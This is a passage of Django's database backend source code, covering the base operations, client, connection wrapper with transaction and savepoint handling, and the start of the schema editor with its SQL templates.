        second = datetime.date(value, 12, 31)
        first = self.adapt_datefield_value(first)
        second = self.adapt_datefield_value(second)
        return [first, second]

    def year_lookup_bounds_for_datetime_field(self, value):
        """
        Returns a two-elements list with the lower and upper bound to be used
        with a BETWEEN operator to query a DateTimeField value using a year
        lookup.

        `value` is an int, containing the looked-up year.
        """
        first = datetime.datetime(value, 1, 1)
        second = datetime.datetime(value, 12, 31, 23, 59, 59, 999999)
        if settings.USE_TZ:
            tz = timezone.get_current_timezone()
            first = timezone.make_aware(first, tz)
            second = timezone.make_aware(second, tz)
        first = self.adapt_datetimefield_value(first)
        second = self.adapt_datetimefield_value(second)
        return [first, second]

    def get_db_converters(self, expression):
        """
        Get a list of functions needed to convert field data.

        Some field types on some backends do not provide data in the correct
        format, this is the hook for converter functions.
        """
        return []

    def convert_durationfield_value(self, value, expression, connection, context):
        if value is not None:
            value = str(decimal.Decimal(value) / decimal.Decimal(1000000))
            value = parse_duration(value)
        return value

    def check_aggregate_support(self, aggregate_func):
        warnings.warn(
            "check_aggregate_support has been deprecated. Use "
            "check_expression_support instead.",
            RemovedInDjango20Warning, stacklevel=2)
        return self.check_expression_support(aggregate_func)

    def check_expression_support(self, expression):
        """
        Check that the backend supports the provided expression.

        This is used on specific backends to rule out known expressions
        that have problematic or nonexistent implementations. If the
        expression has a known problem, the backend should raise
        NotImplementedError.
        """
        pass

    def combine_expression(self, connector, sub_expressions):
        """Combine a list of subexpressions into a single expression, using
        the provided connecting operator. This is required because operators
        can vary between backends (e.g., Oracle with %% and &) and between
        subexpression types (e.g., date expressions)
        """
        conn = ' %s ' % connector
        return conn.join(sub_expressions)

    def combine_duration_expression(self, connector, sub_expressions):
        return self.combine_expression(connector, sub_expressions)

    def binary_placeholder_sql(self, value):
        """
        Some backends require special syntax to insert binary content (MySQL
        for example uses '_binary %s').
        """
        return '%s'

    def modify_insert_params(self, placeholder, params):
        """Allow modification of insert parameters. Needed for Oracle Spatial
        backend due to #10888.
        """
        return params

    def integer_field_range(self, internal_type):
        """
        Given an integer field internal type (e.g. 'PositiveIntegerField'),
        returns a tuple of the (min_value, max_value) form representing the
        range of the column type bound to the field.
        """
        return self.integer_field_ranges[internal_type]

    def subtract_temporals(self, internal_type, lhs, rhs):
        if self.connection.features.supports_temporal_subtraction:
            lhs_sql, lhs_params = lhs
            rhs_sql, rhs_params = rhs
            return "(%s - %s)" % (lhs_sql, rhs_sql), lhs_params + rhs_params
        raise NotImplementedError("This backend does not support %s subtraction." % internal_type)






class BaseDatabaseClient(object):
    """
    This class encapsulates all backend-specific methods for opening a
    client shell.
    """
    # This should be a string representing the name of the executable
    # (e.g., "psql"). Subclasses must override this.
    executable_name = None

    def __init__(self, connection):
        # connection is an instance of BaseDatabaseWrapper.
        self.connection = connection

    def runshell(self):
        raise NotImplementedError('subclasses of BaseDatabaseClient must provide a runshell() method')






import copy
import time
import warnings
from collections import deque
from contextlib import contextmanager

from django.conf import settings
from django.core.exceptions import ImproperlyConfigured
from django.db import DEFAULT_DB_ALIAS
from django.db.backends import utils
from django.db.backends.signals import connection_created
from django.db.transaction import TransactionManagementError
from django.db.utils import DatabaseError, DatabaseErrorWrapper
from django.utils import timezone
from django.utils.functional import cached_property
from django.utils.six.moves import _thread as thread

try:
    import pytz
except ImportError:
    pytz = None

NO_DB_ALIAS = '__no_db__'


class BaseDatabaseWrapper(object):
    """
    Represents a database connection.
    """
    # Mapping of Field objects to their column types.
    data_types = {}
    # Mapping of Field objects to their SQL suffix such as AUTOINCREMENT.
    data_types_suffix = {}
    # Mapping of Field objects to their SQL for CHECK constraints.
    data_type_check_constraints = {}
    ops = None
    vendor = 'unknown'
    SchemaEditorClass = None

    queries_limit = 9000

    def __init__(self, settings_dict, alias=DEFAULT_DB_ALIAS,
                 allow_thread_sharing=False):
        # Connection related attributes.
        # The underlying database connection.
        self.connection = None
        # `settings_dict` should be a dictionary containing keys such as
        # NAME, USER, etc. It's called `settings_dict` instead of `settings`
        # to disambiguate it from Django settings modules.
        self.settings_dict = settings_dict
        self.alias = alias
        # Query logging in debug mode or when explicitly enabled.
        self.queries_log = deque(maxlen=self.queries_limit)
        self.force_debug_cursor = False

        # Transaction related attributes.
        # Tracks if the connection is in autocommit mode. Per PEP 249, by
        # default, it isn't.
        self.autocommit = False
        # Tracks if the connection is in a transaction managed by 'atomic'.
        self.in_atomic_block = False
        # Increment to generate unique savepoint ids.
        self.savepoint_state = 0
        # List of savepoints created by 'atomic'.
        self.savepoint_ids = []
        # Tracks if the outermost 'atomic' block should commit on exit,
        # ie. if autocommit was active on entry.
        self.commit_on_exit = True
        # Tracks if the transaction should be rolled back to the next
        # available savepoint because of an exception in an inner block.
        self.needs_rollback = False

        # Connection termination related attributes.
        self.close_at = None
        self.closed_in_transaction = False
        self.errors_occurred = False

        # Thread-safety related attributes.
        self.allow_thread_sharing = allow_thread_sharing
        self._thread_ident = thread.get_ident()

        # A list of no-argument functions to run when the transaction commits.
        # Each entry is an (sids, func) tuple, where sids is a set of the
        # active savepoint IDs when this function was registered.
        self.run_on_commit = []

        # Should we run the on-commit hooks the next time set_autocommit(True)
        # is called?
        self.run_commit_hooks_on_set_autocommit_on = False

    def ensure_timezone(self):
        """
        Ensure the connection's timezone is set to `self.timezone_name` and
        return whether it changed or not.
        """
        return False

    @cached_property
    def timezone(self):
        """
        Time zone for datetimes stored as naive values in the database.

        Returns a tzinfo object or None.

        This is only needed when time zone support is enabled and the database
        doesn't support time zones. (When the database supports time zones,
        the adapter handles aware datetimes so Django doesn't need to.)
        """
        if not settings.USE_TZ:
            return None
        elif self.features.supports_timezones:
            return None
        elif self.settings_dict['TIME_ZONE'] is None:
            return timezone.utc
        else:
            # Only this branch requires pytz.
            return pytz.timezone(self.settings_dict['TIME_ZONE'])

    @cached_property
    def timezone_name(self):
        """
        Name of the time zone of the database connection.
        """
        if not settings.USE_TZ:
            return settings.TIME_ZONE
        elif self.settings_dict['TIME_ZONE'] is None:
            return 'UTC'
        else:
            return self.settings_dict['TIME_ZONE']

    @property
    def queries_logged(self):
        return self.force_debug_cursor or settings.DEBUG

    @property
    def queries(self):
        if len(self.queries_log) == self.queries_log.maxlen:
            warnings.warn(
                "Limit for query logging exceeded, only the last {} queries "
                "will be returned.".format(self.queries_log.maxlen))
        return list(self.queries_log)

    # ##### Backend-specific methods for creating connections and cursors #####

    def get_connection_params(self):
        """Returns a dict of parameters suitable for get_new_connection."""
        raise NotImplementedError('subclasses of BaseDatabaseWrapper may require a get_connection_params() method')

    def get_new_connection(self, conn_params):
        """Opens a connection to the database."""
        raise NotImplementedError('subclasses of BaseDatabaseWrapper may require a get_new_connection() method')

    def init_connection_state(self):
        """Initializes the database connection settings."""
        raise NotImplementedError('subclasses of BaseDatabaseWrapper may require an init_connection_state() method')

    def create_cursor(self):
        """Creates a cursor. Assumes that a connection is established."""
        raise NotImplementedError('subclasses of BaseDatabaseWrapper may require a create_cursor() method')

    # ##### Backend-specific methods for creating connections #####

    def connect(self):
        """Connects to the database. Assumes that the connection is closed."""
        # Check for invalid configurations.
        self.check_settings()
        # In case the previous connection was closed while in an atomic block
        self.in_atomic_block = False
        self.savepoint_ids = []
        self.needs_rollback = False
        # Reset parameters defining when to close the connection
        max_age = self.settings_dict['CONN_MAX_AGE']
        self.close_at = None if max_age is None else time.time() + max_age
        self.closed_in_transaction = False
        self.errors_occurred = False
        # Establish the connection
        conn_params = self.get_connection_params()
        self.connection = self.get_new_connection(conn_params)
        self.set_autocommit(self.settings_dict['AUTOCOMMIT'])
        self.init_connection_state()
        connection_created.send(sender=self.__class__, connection=self)

        self.run_on_commit = []

    def check_settings(self):
        if self.settings_dict['TIME_ZONE'] is not None:
            if not settings.USE_TZ:
                raise ImproperlyConfigured(
                    "Connection '%s' cannot set TIME_ZONE because USE_TZ is "
                    "False." % self.alias)
            elif self.features.supports_timezones:
                raise ImproperlyConfigured(
                    "Connection '%s' cannot set TIME_ZONE because its engine "
                    "handles time zones conversions natively." % self.alias)
            elif pytz is None:
                raise ImproperlyConfigured(
                    "Connection '%s' cannot set TIME_ZONE because pytz isn't "
                    "installed." % self.alias)

    def ensure_connection(self):
        """
        Guarantees that a connection to the database is established.
        """
        if self.connection is None:
            with self.wrap_database_errors:
                self.connect()

    # ##### Backend-specific wrappers for PEP-249 connection methods #####

    def _cursor(self):
        self.ensure_connection()
        with self.wrap_database_errors:
            return self.create_cursor()

    def _commit(self):
        if self.connection is not None:
            with self.wrap_database_errors:
                return self.connection.commit()

    def _rollback(self):
        if self.connection is not None:
            with self.wrap_database_errors:
                return self.connection.rollback()

    def _close(self):
        if self.connection is not None:
            with self.wrap_database_errors:
                return self.connection.close()

    # ##### Generic wrappers for PEP-249 connection methods #####

    def cursor(self):
        """
        Creates a cursor, opening a connection if necessary.
        """
        self.validate_thread_sharing()
        if self.queries_logged:
            cursor = self.make_debug_cursor(self._cursor())
        else:
            cursor = self.make_cursor(self._cursor())
        return cursor

    def commit(self):
        """
        Commits a transaction and resets the dirty flag.
        """
        self.validate_thread_sharing()
        self.validate_no_atomic_block()
        self._commit()
        # A successful commit means that the database connection works.
        self.errors_occurred = False
        self.run_commit_hooks_on_set_autocommit_on = True

    def rollback(self):
        """
        Rolls back a transaction and resets the dirty flag.
        """
        self.validate_thread_sharing()
        self.validate_no_atomic_block()
        self._rollback()
        # A successful rollback means that the database connection works.
        self.errors_occurred = False

        self.run_on_commit = []

    def close(self):
        """
        Closes the connection to the database.
        """
        self.validate_thread_sharing()
        self.run_on_commit = []

        # Don't call validate_no_atomic_block() to avoid making it difficult
        # to get rid of a connection in an invalid state. The next connect()
        # will reset the transaction state anyway.
        if self.closed_in_transaction or self.connection is None:
            return
        try:
            self._close()
        finally:
            if self.in_atomic_block:
                self.closed_in_transaction = True
                self.needs_rollback = True
            else:
                self.connection = None

    # ##### Backend-specific savepoint management methods #####

    def _savepoint(self, sid):
        with self.cursor() as cursor:
            cursor.execute(self.ops.savepoint_create_sql(sid))

    def _savepoint_rollback(self, sid):
        with self.cursor() as cursor:
            cursor.execute(self.ops.savepoint_rollback_sql(sid))

    def _savepoint_commit(self, sid):
        with self.cursor() as cursor:
            cursor.execute(self.ops.savepoint_commit_sql(sid))

    def _savepoint_allowed(self):
        # Savepoints cannot be created outside a transaction
        return self.features.uses_savepoints and not self.get_autocommit()

    # ##### Generic savepoint management methods #####

    def savepoint(self):
        """
        Creates a savepoint inside the current transaction. Returns an
        identifier for the savepoint that will be used for the subsequent
        rollback or commit. Does nothing if savepoints are not supported.
        """
        if not self._savepoint_allowed():
            return

        thread_ident = thread.get_ident()
        tid = str(thread_ident).replace('-', '')

        self.savepoint_state += 1
        sid = "s%s_x%d" % (tid, self.savepoint_state)

        self.validate_thread_sharing()
        self._savepoint(sid)

        return sid

    def savepoint_rollback(self, sid):
        """
        Rolls back to a savepoint. Does nothing if savepoints are not supported.
        """
        if not self._savepoint_allowed():
            return

        self.validate_thread_sharing()
        self._savepoint_rollback(sid)

        # Remove any callbacks registered while this savepoint was active.
        self.run_on_commit = [
            (sids, func) for (sids, func) in self.run_on_commit if sid not in sids
        ]

    def savepoint_commit(self, sid):
        """
        Releases a savepoint. Does nothing if savepoints are not supported.
        """
        if not self._savepoint_allowed():
            return

        self.validate_thread_sharing()
        self._savepoint_commit(sid)

    def clean_savepoints(self):
        """
        Resets the counter used to generate unique savepoint ids in this thread.
        """
        self.savepoint_state = 0

    # ##### Backend-specific transaction management methods #####

    def _set_autocommit(self, autocommit):
        """
        Backend-specific implementation to enable or disable autocommit.
        """
        raise NotImplementedError('subclasses of BaseDatabaseWrapper may require a _set_autocommit() method')

    # ##### Generic transaction management methods #####

    def get_autocommit(self):
        """
        Check the autocommit state.
        """
        self.ensure_connection()
        return self.autocommit

    def set_autocommit(self, autocommit, force_begin_transaction_with_broken_autocommit=False):
        """
        Enable or disable autocommit.

        The usual way to start a transaction is to turn autocommit off.
        SQLite does not properly start a transaction when disabling
        autocommit. To avoid this buggy behavior and to actually enter a new
        transaction, an explcit BEGIN is required. Using
        force_begin_transaction_with_broken_autocommit=True will issue an
        explicit BEGIN with SQLite. This option will be ignored for other
        backends.
        """
        self.validate_no_atomic_block()
        self.ensure_connection()

        start_transaction_under_autocommit = (
            force_begin_transaction_with_broken_autocommit and not autocommit and
            self.features.autocommits_when_autocommit_is_off
        )

        if start_transaction_under_autocommit:
            self._start_transaction_under_autocommit()
        else:
            self._set_autocommit(autocommit)

        self.autocommit = autocommit

        if autocommit and self.run_commit_hooks_on_set_autocommit_on:
            self.run_and_clear_commit_hooks()
            self.run_commit_hooks_on_set_autocommit_on = False

    def get_rollback(self):
        """
        Get the "needs rollback" flag -- for *advanced use* only.
        """
        if not self.in_atomic_block:
            raise TransactionManagementError(
                "The rollback flag doesn't work outside of an 'atomic' block.")
        return self.needs_rollback

    def set_rollback(self, rollback):
        """
        Set or unset the "needs rollback" flag -- for *advanced use* only.
        """
        if not self.in_atomic_block:
            raise TransactionManagementError(
                "The rollback flag doesn't work outside of an 'atomic' block.")
        self.needs_rollback = rollback

    def validate_no_atomic_block(self):
        """
        Raise an error if an atomic block is active.
        """
        if self.in_atomic_block:
            raise TransactionManagementError(
                "This is forbidden when an 'atomic' block is active.")

    def validate_no_broken_transaction(self):
        if self.needs_rollback:
            raise TransactionManagementError(
                "An error occurred in the current transaction. You can't "
                "execute queries until the end of the 'atomic' block.")

    # ##### Foreign key constraints checks handling #####

    @contextmanager
    def constraint_checks_disabled(self):
        """
        Context manager that disables foreign key constraint checking.
        """
        disabled = self.disable_constraint_checking()
        try:
            yield
        finally:
            if disabled:
                self.enable_constraint_checking()

    def disable_constraint_checking(self):
        """
        Backends can implement as needed to temporarily disable foreign key
        constraint checking. Should return True if the constraints were
        disabled and will need to be reenabled.
        """
        return False

    def enable_constraint_checking(self):
        """
        Backends can implement as needed to re-enable foreign key constraint
        checking.
        """
        pass

    def check_constraints(self, table_names=None):
        """
        Backends can override this method if they can apply constraint
        checking (e.g. via "SET CONSTRAINTS ALL IMMEDIATE"). Should raise an
        IntegrityError if any invalid foreign key references are encountered.
        """
        pass

    # ##### Connection termination handling #####

    def is_usable(self):
        """
        Tests if the database connection is usable.

        This function may assume that self.connection is not None.

        Actual implementations should take care not to raise exceptions
        as that may prevent Django from recycling unusable connections.
        """
        raise NotImplementedError(
            "subclasses of BaseDatabaseWrapper may require an is_usable() method")

    def close_if_unusable_or_obsolete(self):
        """
        Closes the current connection if unrecoverable errors have occurred,
        or if it outlived its maximum age.
        """
        if self.connection is not None:
            # If the application didn't restore the original autocommit setting,
            # don't take chances, drop the connection.
            if self.get_autocommit() != self.settings_dict['AUTOCOMMIT']:
                self.close()
                return

            # If an exception other than DataError or IntegrityError occurred
            # since the last commit / rollback, check if the connection works.
            if self.errors_occurred:
                if self.is_usable():
                    self.errors_occurred = False
                else:
                    self.close()
                    return

            if self.close_at is not None and time.time() >= self.close_at:
                self.close()
                return

    # ##### Thread safety handling #####

    def validate_thread_sharing(self):
        """
        Validates that the connection isn't accessed by another thread than the
        one which originally created it, unless the connection was explicitly
        authorized to be shared between threads (via the `allow_thread_sharing`
        property). Raises an exception if the validation fails.
        """
        if not (self.allow_thread_sharing or self._thread_ident == thread.get_ident()):
            raise DatabaseError(
                "DatabaseWrapper objects created in a "
                "thread can only be used in that same thread. The object "
                "with alias '%s' was created in thread id %s and this is "
                "thread id %s."
                % (self.alias, self._thread_ident, thread.get_ident())
            )

    # ##### Miscellaneous #####

    def prepare_database(self):
        """
        Hook to do any database check or preparation, generally called before
        migrating a project or an app.
        """
        pass

    @cached_property
    def wrap_database_errors(self):
        """
        Context manager and decorator that re-throws backend-specific database
        exceptions using Django's common wrappers.
        """
        return DatabaseErrorWrapper(self)

    def make_debug_cursor(self, cursor):
        """
        Creates a cursor that logs all queries in self.queries_log.
        """
        return utils.CursorDebugWrapper(cursor, self)

    def make_cursor(self, cursor):
        """
        Creates a cursor without debug logging.
        """
        return utils.CursorWrapper(cursor, self)

    @contextmanager
    def temporary_connection(self):
        """
        Context manager that ensures that a connection is established, and
        if it opened one, closes it to avoid leaving a dangling connection.
        This is useful for operations outside of the request-response cycle.

        Provides a cursor: with self.temporary_connection() as cursor: ...
        """
        must_close = self.connection is None
        cursor = self.cursor()
        try:
            yield cursor
        finally:
            cursor.close()
            if must_close:
                self.close()

    @property
    def _nodb_connection(self):
        """
        Return an alternative connection to be used when there is no need to access
        the main database, specifically for test db creation/deletion.
        This also prevents the production database from being exposed to
        potential child threads while (or after) the test database is destroyed.
        Refs #10868, #17786, #16969.
        """
        settings_dict = self.settings_dict.copy()
        settings_dict['NAME'] = None
        nodb_connection = self.__class__(
            settings_dict,
            alias=NO_DB_ALIAS,
            allow_thread_sharing=False)
        return nodb_connection

    def _start_transaction_under_autocommit(self):
        """
        Only required when autocommits_when_autocommit_is_off = True.
        """
        raise NotImplementedError(
            'subclasses of BaseDatabaseWrapper may require a '
            '_start_transaction_under_autocommit() method'
        )

    def schema_editor(self, *args, **kwargs):
        """
        Returns a new instance of this backend's SchemaEditor.
        """
        if self.SchemaEditorClass is None:
            raise NotImplementedError(
                'The SchemaEditorClass attribute of this database wrapper is still None')
        return self.SchemaEditorClass(self, *args, **kwargs)

    def on_commit(self, func):
        if self.in_atomic_block:
            # Transaction in progress; save for execution on commit.
            self.run_on_commit.append((set(self.savepoint_ids), func))
        elif not self.get_autocommit():
            raise TransactionManagementError('on_commit() cannot be used in manual transaction management')
        else:
            # No transaction in progress and in autocommit mode; execute
            # immediately.
            func()

    def run_and_clear_commit_hooks(self):
        self.validate_no_atomic_block()
        current_run_on_commit = self.run_on_commit
        self.run_on_commit = []
        while current_run_on_commit:
            sids, func = current_run_on_commit.pop(0)
            func()

    def copy(self, alias=None, allow_thread_sharing=None):
        """
        Return a copy of this connection.

        For tests that require two connections to the same database.
        """
        settings_dict = copy.deepcopy(self.settings_dict)
        if alias is None:
            alias = self.alias
        if allow_thread_sharing is None:
            allow_thread_sharing = self.allow_thread_sharing
        return type(self)(settings_dict, alias, allow_thread_sharing)






import hashlib
import logging
from datetime import datetime

from django.db.transaction import atomic
from django.utils import six, timezone
from django.utils.encoding import force_bytes

logger = logging.getLogger('django.db.backends.schema')


def _related_non_m2m_objects(old_field, new_field):
    # Filters out m2m objects from reverse relations.
    # Returns (old_relation, new_relation) tuples.
    return zip(
        (obj for obj in old_field.model._meta.related_objects if not obj.field.many_to_many),
        (obj for obj in new_field.model._meta.related_objects if not obj.field.many_to_many)
    )


class BaseDatabaseSchemaEditor(object):
    """
    This class (and its subclasses) are responsible for emitting schema-changing
    statements to the databases - model creation/removal/alteration, field
    renaming, index fiddling, and so on.

    It is intended to eventually completely replace DatabaseCreation.

    This class should be used by creating an instance for each set of schema
    changes (e.g. a migration file), and by first calling start(),
    then the relevant actions, and then commit(). This is necessary to allow
    things like circular foreign key references - FKs will only be created once
    commit() is called.
    """

    # Overrideable SQL templates
    sql_create_table = "CREATE TABLE %(table)s (%(definition)s)"
    sql_rename_table = "ALTER TABLE %(old_table)s RENAME TO %(new_table)s"
    sql_retablespace_table = "ALTER TABLE %(table)s SET TABLESPACE %(new_tablespace)s"
    sql_delete_table = "DROP TABLE %(table)s CASCADE"

    sql_create_column = "ALTER TABLE %(table)s ADD COLUMN %(column)s %(definition)s"
    sql_alter_column = "ALTER TABLE %(table)s %(changes)s"
    sql_alter_column_type = "ALTER COLUMN %(column)s TYPE %(type)s"
    sql_alter_column_null = "ALTER COLUMN %(column)s DROP NOT NULL"
    sql_alter_column_not_null = "ALTER COLUMN %(column)s SET NOT NULL"
    sql_alter_column_default = "ALTER COLUMN %(column)s SET DEFAULT %(default)s"
    sql_alter_column_no_default = "ALTER COLUMN %(column)s DROP DEFAULT"
    sql_delete_column = "ALTER TABLE %(table)s DROP COLUMN %(column)s CASCADE"
    sql_rename_column = "ALTER TABLE %(table)s RENAME COLUMN %(old_column)s TO %(new_column)s"
    sql_update_with_default = "UPDATE %(table)s SET %(column)s = %(default)s WHERE %(column)s IS NULL"

    sql_create_check = "ALTER TABLE %(table)s ADD CONSTRAINT %(name)s CHECK (%(check)s)"
    sql_delete_check = "ALTER TABLE %(table)s DROP CONSTRAINT %(name)s"

    sql_create_unique = "ALTER TABLE %(table)s ADD CONSTRAINT %(name)s UNIQUE (%(columns)s)"
    sql_delete_unique = "ALTER TABLE %(table)s DROP CONSTRAINT %(name)s"

    sql_create_fk = (
        "ALTER TABLE %(table)s ADD CONSTRAINT %(name)s FOREIGN KEY (%(column)s) "
        "REFERENCES %(to_table)s (%(to_column)s)%(deferrable)s"
    )
    sql_create_inline_fk = None
    sql_delete_fk = "ALTER TABLE %(table)s DROP CONSTRAINT %(name)s"

    sql_create_index = "CREATE INDEX %(name)s ON %(table)s (%(columns)s)%(extra)s"
    sql_delete_index = "DROP INDEX %(name)s"

    sql_create_pk = "ALTER TABLE %(table)s ADD CONSTRAINT %(name)s PRIMARY KEY (%(columns)s)"
    sql_delete_pk = "ALTER TABLE %(table)s DROP CONSTRAINT %(name)s"

    def __init__(self, connection, collect_sql=False, atomic=True):
        self.connection = connection
        self.collect_sql = collect_sql
        if self.collect_sql:
            self.collected_sql = []
        self.atomic_migration = self.connection.features.can_rollback_ddl and atomic

    # State-managing methods

    def __enter__(self):
        self.deferred_sql = []
        if self.atomic_migration:
            self.atomic = atomic(self.connection.alias)
            self.atomic.__enter__()
        return self

    def __exit__(self, exc_type, exc_value, traceback):
        if exc_type is None:
            for sql in self.deferred_sql:
                self.execute(sql)
        if self.atomic_migration:
            self.atomic.__exit__(exc_type, exc_value, traceback)

    # Core utility functions

    def execute(self, sql, params=[]):
        """
        Executes the given SQL statement, with optional parameters.
        """
        # Log the command we're running, then run it
        logger.debug("%s; (params %r)", sql, params, extra={'params': params, 'sql': sql})
        if self.collect_sql:
            ending = "" if sql.endswith(";") else ";"
            if params is not None:
                self.collected_sql.append((sql % tuple(map(self.quote_value, params))) + ending)
            else:
                self.collected_sql.append(sql + ending)
        else:
            with self.connection.cursor() as cursor:
                cursor.execute(sql, params)

    def quote_name(self, name):
        return self.connection.ops.quote_name(name)

    @classmethod
    def _digest(cls, *args):
        """
        Generates a 32-bit digest of a set of arguments that can be used to
        shorten identifying names.
        """
        h = hashlib.md5()
        for arg in args:
            h.update(force_bytes(arg))
        return h.hexdigest()[:8]

    # Field <-> database mapping functions

    def column_sql(self, model, field, include_default=False):
        """
        Takes a field and returns its column definition.
        The field must already have had set_attributes_from_name called.
        """
        # Get the column's type and use that as the basis of the SQL
        db_params = field.db_parameters(connection=self.connection)
        sql = db_params['type']
        params = []
        # Check for fields that aren't actually columns (e.g. M2M)
        if sql is None:
            return None, None
        # Work out nullability
        null = field.null
        # If we were told to include a default value, do so
        include_default = include_default and not self.skip_default(field)
        if include_default:
            default_value = self.effective_default(field)
            if default_value is not None:
                if self.connection.features.requires_literal_defaults:
                    # Some databases can't take defaults as a parameter (oracle)
                    # If this is the case, the individual schema backend should
                    # implement prepare_default
                    sql += " DEFAULT %s" % self.prepare_default(default_value)
                else:
                    sql += " DEFAULT %s"
                    params += [default_value]
        # Oracle treats the empty string ('') as null, so coerce the null
        # option whenever '' is a possible value.
        if (field.empty_strings_allowed and not field.primary_key and
                self.connection.features.interprets_empty_strings_as_nulls):
            null = True
        if null and not self.connection.features.implied_column_null:
            sql += " NULL"
        elif not null:
            sql += " NOT NULL"
        # Primary key/unique outputs
        if field.primary_key:
            sql += " PRIMARY KEY"
        elif field.unique:
            sql += " UNIQUE"
        # Optionally add the tablespace if it's an implicitly indexed column
        tablespace = field.db_tablespace or model._meta.db_tablespace
        if tablespace and self.connection.features.supports_tablespaces and field.unique:
            sql += " %s" % self.connection.ops.tablespace_sql(tablespace, inline=True)
        # Return the sql
        return sql, params

    def skip_default(self, field):
        """
        Some backends don't accept default values for certain columns types
        (i.e. MySQL longtext and longblob).
        """
        return False

    def prepare_default(self, value):
        """
        Only used for backends which have requires_literal_defaults feature
        """
        raise NotImplementedError(
            'subclasses of BaseDatabaseSchemaEditor for backends which have '
            'requires_literal_defaults must provide a prepare_default() method'
        )

    def effective_default(self, field):
        """
        Returns a field's effective database default value
        """
        if field.has_default():
            default = field.get_default()
        elif not field.null and field.blank and field.empty_strings_allowed:
            if field.get_internal_type() == "BinaryField":
                default = six.binary_type()
            else:
                default = six.text_type()
        elif getattr(field, 'auto_now', False) or getattr(field, 'auto_now_add', False):
            default = datetime.now()
            internal_type = field.get_internal_type()
            if internal_type == 'DateField':
                default = default.date
            elif internal_type == 'TimeField':
                default = default.time
            elif internal_type == 'DateTimeField':
                default = timezone.now
        else:
            default = None
        # If it's a callable, call it
        if callable(default):
            default = default()
        # Run it through the field's get_db_prep_save method so we can send it
        # to the database.
        default = field.get_db_prep_save(default, self.connection)
        return default

    def quote_value(self, value):
        """
        Returns a quoted version of the value so it's safe to use in an SQL
        string. This is not safe against injection from user code; it is
        intended only for use in making SQL scripts or preparing default values
        for particularly tricky backends (defaults are not user-defined, though,
        so this is safe).
        """
        raise NotImplementedError()

    # Actions

    def create_model(self, model):
        """
        Takes a model and creates a table for it in the database.
        Will also create any accompanying indexes or unique constraints.
        """
        # Create column SQL, add FK deferreds if needed
        column_sqls = []
        params = []
        for field in model._meta.local_fields:
            # SQL
            definition, extra_params = self.column_sql(model, field)
            if definition is None:
                continue
            # Check constraints can go on the column SQL here
            db_params = field.db_parameters(connection=self.connection)
            if db_params['check']:
                definition += " CHECK (%s)" % db_params['check']
            # Autoincrement SQL (for backends with inline variant)
            col_type_suffix = field.db_type_suffix(connection=self.connection)
            if col_type_suffix:
                definition += " %s" % col_type_suffix
            params.extend(extra_params)
            # FK
            if field.remote_field and field.db_constraint:
                to_table = field.remote_field.model._meta.db_table
                to_column = field.remote_field.model._meta.get_field(field.remote_field.field_name).column
                if self.connection.features.supports_foreign_keys:
                    self.deferred_sql.append(self._create_fk_sql(model, field, "_fk_%(to_table)s_%(to_column)s"))
                elif self.sql_create_inline_fk:
                    definition += " " + self.sql_create_inline_fk % {
                        "to_table": self.quote_name(to_table),
                        "to_column": self.quote_name(to_column),
                    }
            # Add the SQL to our big list
            column_sqls.append("%s %s" % (
                self.quote_name(field.column),
                definition,
            ))
            # Autoincrement SQL (for backends with post table definition variant)
            if field.get_internal_type() in ("AutoField", "BigAutoField"):
                autoinc_sql = self.connection.ops.autoinc_sql(model._meta.db_table, field.column)
                if autoinc_sql:
                    self.deferred_sql.extend(autoinc_sql)

        # Add any unique_togethers (always deferred, as some fields might be
        # created afterwards, like geometry fields with some backends)
        for fields in model._meta.unique_together:
            columns = [model._meta.get_field(field).column for field in fields]
            self.deferred_sql.append(self._create_unique_sql(model, columns))
        # Make the table
        sql = self.sql_create_table % {
            "table": self.quote_name(model._meta.db_table),
            "definition": ", ".join(column_sqls)
        }
        if model._meta.db_tablespace:
            tablespace_sql = self.connection.ops.tablespace_sql(model._meta.db_tablespace)
            if tablespace_sql:
                sql += ' ' + tablespace_sql
        # Prevent using [] as params, in the case a literal '%' is used in the definition
        self.execute(sql, params or None)

        # Add any field index and index_together's (deferred as SQLite3 _remake_table needs it)
        self.deferred_sql.extend(self._model_indexes_sql(model))

        # Make M2M tables
        for field in model._meta.local_many_to_many:
            if field.remote_field.through._meta.auto_created:
                self.create_model(field.remote_field.through)

    def delete_model(self, model):
        """
        Deletes a model from the database.
        """
        # Handle auto-created intermediary models
        for field in model._meta.local_many_to_many:
            if field.remote_field.through._meta.auto_created:
                self.delete_model(field.remote_field.through)

        # Delete the table
        self.execute(self.sql_delete_table % {
            "table": self.quote_name(model._meta.db_table),
        })

    def add_index(self, model, index):
        """
        Add an index on a model.
        """
        self.execute(index.create_sql(model, self))

    def remove_index(self, model, index):
        """
        Remove an index from a model.
        """
        self.execute(index.remove_sql(model, self))

    def alter_unique_together(self, model, old_unique_together, new_unique_together):
        """
        Deals with a model changing its unique_together.
        Note: The input unique_togethers must be doubly-nested, not the single-
        nested ["foo", "bar"] format.
        """
        olds = set(tuple(fields) for fields in old_unique_together)
        news = set(tuple(fields) for fields in new_unique_together)
        # Deleted uniques
        for fields in olds.difference(news):
            self._delete_composed_index(model, fields, {'unique': True}, self.sql_delete_unique)
        # Created uniques
        for fields in news.difference(olds):
            columns = [model._meta.get_field(field).column for field in fields]
            self.execute(self._create_unique_sql(model, columns))

    def alter_index_together(self, model, old_index_together, new_index_together):
        """
        Deals with a model changing its index_together.
        Note: The input index_togethers must be doubly-nested, not the single-
        nested ["foo", "bar"] format.
        """
        olds = set(tuple(fields) for fields in old_index_together)
        news = set(tuple(fields) for fields in new_index_together)
        # Deleted indexes
        for fields in olds.difference(news):
            self._delete_composed_index(model, fields, {'index': True}, self.sql_delete_index)
        # Created indexes
        for field_names in news.difference(olds):
            fields = [model._meta.get_field(field) for field in field_names]
            self.execute(self._create_index_sql(model, fields, suffix="_idx"))

    def _delete_composed_index(self, model, fields, constraint_kwargs, sql):
        columns = [model._meta.get_field(field).column for field in fields]
        constraint_names = self._constraint_names(model, columns, **constraint_kwargs)
        if len(constraint_names) != 1:
            raise ValueError("Found wrong number (%s) of constraints for %s(%s)" % (
                len(constraint_names),
                model._meta.db_table,
                ", ".join(columns),
            ))
        self.execute(self._delete_constraint_sql(sql, model, constraint_names[0]))

    def alter_db_table(self, model, old_db_table, new_db_table):
        """
        Renames the table a model points to.
        """
        if (old_db_table == new_db_table or
            (self.connection.features.ignores_quoted_identifier_case and
                old_db_table.lower() == new_db_table.lower())):
            return
        self.execute(self.sql_rename_table % {
            "old_table": self.quote_name(old_db_table),
            "new_table": self.quote_name(new_db_table),
        })

    def alter_db_tablespace(self, model, old_db_tablespace, new_db_tablespace):
        """
